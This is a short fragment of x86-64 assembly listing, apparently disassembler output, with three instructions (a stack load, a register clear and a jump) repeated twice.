mov rbx, qword [rsp + 0xa8]
xor edi, edi
jmp 0x140001d20
mov rbx, qword [rsp + 0xa8]
xor edi, edi
jmp 0x140001d20